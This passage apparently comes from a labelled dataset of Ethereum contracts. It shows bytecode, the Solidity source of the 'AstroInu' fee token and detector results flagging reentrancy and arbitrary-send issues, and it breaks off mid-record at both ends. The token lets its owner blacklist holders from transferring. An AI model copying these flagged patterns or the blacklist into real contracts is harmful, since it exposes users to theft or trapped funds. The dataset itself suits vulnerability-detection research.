060020a0360043516610939565b60405190815260200160405180910390f35b34156102fe57600080fd5b6100fb610958565b604051901515815260200160405180910390f35b341561032557600080fd5b61032d6109df565b604051600160a060020a03909116815260200160405180910390f35b341561035457600080fd5b6101226109ee565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015f5780820151818401525b602001610146565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103df57600080fd5b6100fb600160a060020a0360043516602435610a8c565b604051901515815260200160405180910390f35b341561041557600080fd5b6100fb600160a060020a0360043516602435610b4c565b604051901515815260200160405180910390f35b341561044b57600080fd5b6101e3600160a060020a0360043581169060243516610bf1565b60405190815260200160405180910390f35b341561048257600080fd5b610496600160a060020a0360043516610c1e565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561054f5780601f106105245761010080835404028352916020019161054f565b820191906000526020600020905b81548152906001019060200180831161053257829003601f168201915b505050505081565b60008115806105895750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561059457600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005481565b600160a060020a038084166000818152600260209081526040808320339095168352938152838220549282526001905291822054610648908463ffffffff610c7b16565b600160a060020a03808716600090815260016020526040808220939093559086168152205461067d908463ffffffff610c9216565b600160a060020a0385166000908152600160205260409020556106a6818463ffffffff610c7b16565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b60065481565b60035460009033600160a060020a0390811691161461073a57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561076257600080fd5b600054610775908363ffffffff610c9216565b6000908155600160a060020a0384168152600160205260409020546107a0908363ffffffff610c9216565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a282600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060015b5b5b92915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561089a57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556108d1565b6108aa818463ffffffff610c7b16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a0381166000908152600160205260409020545b919050565b60035460009033600160a060020a0390811691161461097657600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a15060015b5b90565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561054f5780601f106105245761010080835404028352916020019161054f565b820191906000526020600020905b81548152906001019060200180831161053257829003601f168201915b505050505081565b600160a060020a033316600090815260016020526040812054610ab5908363ffffffff610c7b16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610aea908363ffffffff610c9216565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b84908363ffffffff610c9216565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a35060015b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a03908116911614610c3957600080fd5b600160a060020a0381161515610c4e57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600082821115610c8757fe5b508082035b92915050565b600082820183811015610ca157fe5b8091505b50929150505600a165627a7a723058202cc01106f7d1d154701b7062ae1e7ca3b0854b7f8b4190d8e18287ad017a58bc0029a165627a7a72305820c84f9f02a9a900c1381312deec45cf94a368b612df961151ca553048364d3cf60029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,347
0xe6cc7f4729a5630e6ed17ac913c0f06663cba6ce
/** *Submitted for verification at Etherscan.io */ /** * */ /** AstroInu - $AstroInu Astro Inu - Conquering ETH & Beyond - Community driven - https://twitter.com/AstroInuERC https://www.astroinuerc.com/ https://t.me/AstroInuERC Launching Soon ✅ * * */ /** */ /** * */ /** * */ /** * */ /** */ /** * */ /** */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AstroInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "AstroInu"; string private constant _symbol = "AstroInu"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 1; _teamFee = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 1; _teamFee = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 30000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102c2578063c3c8cd80146102e2578063c9567bf9146102f7578063d543dbeb1461030c578063dd62ed3e1461032c57610114565b8063715018a6146102655780638da5cb5b1461027a57806395d89b4114610119578063a9059cbb146102a257610114565b8063273123b7116100dc578063273123b7146101d2578063313ce567146101f45780635932ead1146102105780636fc3eaec1461023057806370a082311461024557610114565b806306fdde0314610119578063095ea7b31461015957806318160ddd1461018957806323b872dd146101b257610114565b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526008815267417374726f496e7560c01b60208201529051610150919061196e565b60405180910390f35b34801561016557600080fd5b506101796101743660046117ff565b610372565b6040519015158152602001610150565b34801561019557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610150565b3480156101be57600080fd5b506101796101cd3660046117bf565b610389565b3480156101de57600080fd5b506101f26101ed36600461174f565b6103f2565b005b34801561020057600080fd5b5060405160128152602001610150565b34801561021c57600080fd5b506101f261022b3660046118f1565b610446565b34801561023c57600080fd5b506101f261048e565b34801561025157600080fd5b506101a461026036600461174f565b6104bb565b34801561027157600080fd5b506101f26104e5565b34801561028657600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102ae57600080fd5b506101796102bd3660046117ff565b610559565b3480156102ce57600080fd5b506101f26102dd36600461182a565b610566565b3480156102ee57600080fd5b506101f261060a565b34801561030357600080fd5b506101f2610640565b34801561031857600080fd5b506101f2610327366004611929565b610a09565b34801561033857600080fd5b506101a4610347366004611787565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061037f338484610adf565b5060015b92915050565b6000610396848484610c03565b6103e884336103e385604051806060016040528060288152602001611b3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9d565b610adf565b5060019392505050565b6000546001600160a01b031633146104255760405162461bcd60e51b815260040161041c906119c1565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104705760405162461bcd60e51b815260040161041c906119c1565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104ae57600080fd5b476104b881610fd7565b50565b6001600160a01b0381166000908152600260205260408120546104dd9061105c565b90505b919050565b6000546001600160a01b0316331461050f5760405162461bcd60e51b815260040161041c906119c1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037f338484610c03565b6000546001600160a01b031633146105905760405162461bcd60e51b815260040161041c906119c1565b60005b8151811015610606576001600660008484815181106105c257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105fe81611ad4565b915050610593565b5050565b600e546001600160a01b0316336001600160a01b03161461062a57600080fd5b6000610635306104bb565b90506104b8816110e0565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161041c906119c1565b601154600160a01b900460ff16156106c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041c565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561070430826b033b2e3c9fd0803ce8000000610adf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073d57600080fd5b505afa158015610751573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610775919061176b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107bd57600080fd5b505afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f5919061176b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083d57600080fd5b505af1158015610851573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610875919061176b565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108a5816104bb565b6000806108ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091d57600080fd5b505af1158015610931573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109569190611941565b5050601180546a18d0bf423c03d8de00000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109d157600080fd5b505af11580156109e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610606919061190d565b6000546001600160a01b03163314610a335760405162461bcd60e51b815260040161041c906119c1565b60008111610a835760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161041c565b610aa46064610a9e6b033b2e3c9fd0803ce800000084611285565b90611304565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041c565b6001600160a01b038216610ba25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041c565b6001600160a01b038216610cc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041c565b60008111610d2b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041c565b6001600a556009600b556000546001600160a01b03848116911614801590610d6157506000546001600160a01b03838116911614155b15610f40576001600160a01b03831660009081526006602052604090205460ff16158015610da857506001600160a01b03821660009081526006602052604090205460ff16155b610db157600080fd5b6011546001600160a01b038481169116148015610ddc57506010546001600160a01b03838116911614155b8015610e0157506001600160a01b03821660009081526005602052604090205460ff16155b8015610e165750601154600160b81b900460ff165b15610e7357601254811115610e2a57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e4e57600080fd5b610e5942601e611a66565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610e9e57506010546001600160a01b03848116911614155b8015610ec357506001600160a01b03831660009081526005602052604090205460ff16155b15610ed3576001600a556009600b555b6000610ede306104bb565b601154909150600160a81b900460ff16158015610f0957506011546001600160a01b03858116911614155b8015610f1e5750601154600160b01b900460ff165b15610f3e57610f2c816110e0565b478015610f3c57610f3c47610fd7565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f8257506001600160a01b03831660009081526005602052604090205460ff165b15610f8b575060005b610f9784848484611346565b50505050565b60008184841115610fc15760405162461bcd60e51b815260040161041c919061196e565b506000610fce8486611abd565b95945050505050565b600e546001600160a01b03166108fc610ff1836002611304565b6040518115909202916000818181858888f19350505050158015611019573d6000803e3d6000fd5b50600f546001600160a01b03166108fc611034836002611304565b6040518115909202916000818181858888f19350505050158015610606573d6000803e3d6000fd5b60006008548211156110c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041c565b60006110cd611374565b90506110d98382611304565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118a57600080fd5b505afa15801561119e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c2919061176b565b816001815181106111e357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546112099130911684610adf565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906112429085906000908690309042906004016119f6565b600060405180830381600087803b15801561125c57600080fd5b505af1158015611270573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60008261129457506000610383565b60006112a08385611a9e565b9050826112ad8583611a7e565b146110d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041c565b60006110d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611397565b80611353576113536113c5565b61135e8484846113f7565b80610f9757610f97600c54600a55600d54600b55565b60008060006113816114ee565b90925090506113908282611304565b9250505090565b600081836113b85760405162461bcd60e51b815260040161041c919061196e565b506000610fce8486611a7e565b600a541580156113d55750600b54155b156113df576113f5565b600a8054600c55600b8054600d55600091829055555b565b60008060008060008061140987611539565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143b9087611596565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146a90866115d8565b6001600160a01b03891660009081526002602052604090205561148c81611637565b6114968483611681565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114db91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce800000061150d8282611304565b82101561152f576008546b033b2e3c9fd0803ce8000000935093505050611535565b90925090505b9091565b60008060008060008060008060006115568a600a54600b546116a5565b9250925092506000611566611374565b905060008060006115798e8787876116f4565b919e509c509a509598509396509194505050505091939550919395565b60006110d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9d565b6000806115e58385611a66565b9050838110156110d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041c565b6000611641611374565b9050600061164f8383611285565b3060009081526002602052604090205490915061166c90826115d8565b30600090815260026020526040902055505050565b60085461168e9083611596565b60085560095461169e90826115d8565b6009555050565b60008080806116b96064610a9e8989611285565b905060006116cc6064610a9e8a89611285565b905060006116e4826116de8b86611596565b90611596565b9992985090965090945050505050565b60008080806117038886611285565b905060006117118887611285565b9050600061171f8888611285565b90506000611731826116de8686611596565b939b939a50919850919650505050505050565b80356104e081611b1b565b600060208284031215611760578081fd5b81356110d981611b1b565b60006020828403121561177c578081fd5b81516110d981611b1b565b60008060408385031215611799578081fd5b82356117a481611b1b565b915060208301356117b481611b1b565b809150509250929050565b6000806000606084860312156117d3578081fd5b83356117de81611b1b565b925060208401356117ee81611b1b565b929592945050506040919091013590565b60008060408385031215611811578182fd5b823561181c81611b1b565b946020939093013593505050565b6000602080838503121561183c578182fd5b823567ffffffffffffffff80821115611853578384fd5b818501915085601f830112611866578384fd5b81358181111561187857611878611b05565b8060051b604051601f19603f8301168101818110858211171561189d5761189d611b05565b604052828152858101935084860182860187018a10156118bb578788fd5b8795505b838610156118e4576118d081611744565b8552600195909501949386019386016118bf565b5098975050505050505050565b600060208284031215611902578081fd5b81356110d981611b30565b60006020828403121561191e578081fd5b81516110d981611b30565b60006020828403121561193a578081fd5b5035919050565b600080600060608486031215611955578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561199a5785810183015185820160400152820161197e565b818111156119ab5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a455784516001600160a01b031683529383019391830191600101611a20565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7957611a79611aef565b500190565b600082611a9957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ab857611ab8611aef565b500290565b600082821015611acf57611acf611aef565b500390565b6000600019821415611ae857611ae8611aef565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104b857600080fd5b80151581146104b857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff0a0597c63af682901a68d784d6f86a89015b55caa295ba6de052029a2e468164736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,348
0xbc2e0b081f63a89b7089a68f050d68033d3bd33a
pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let 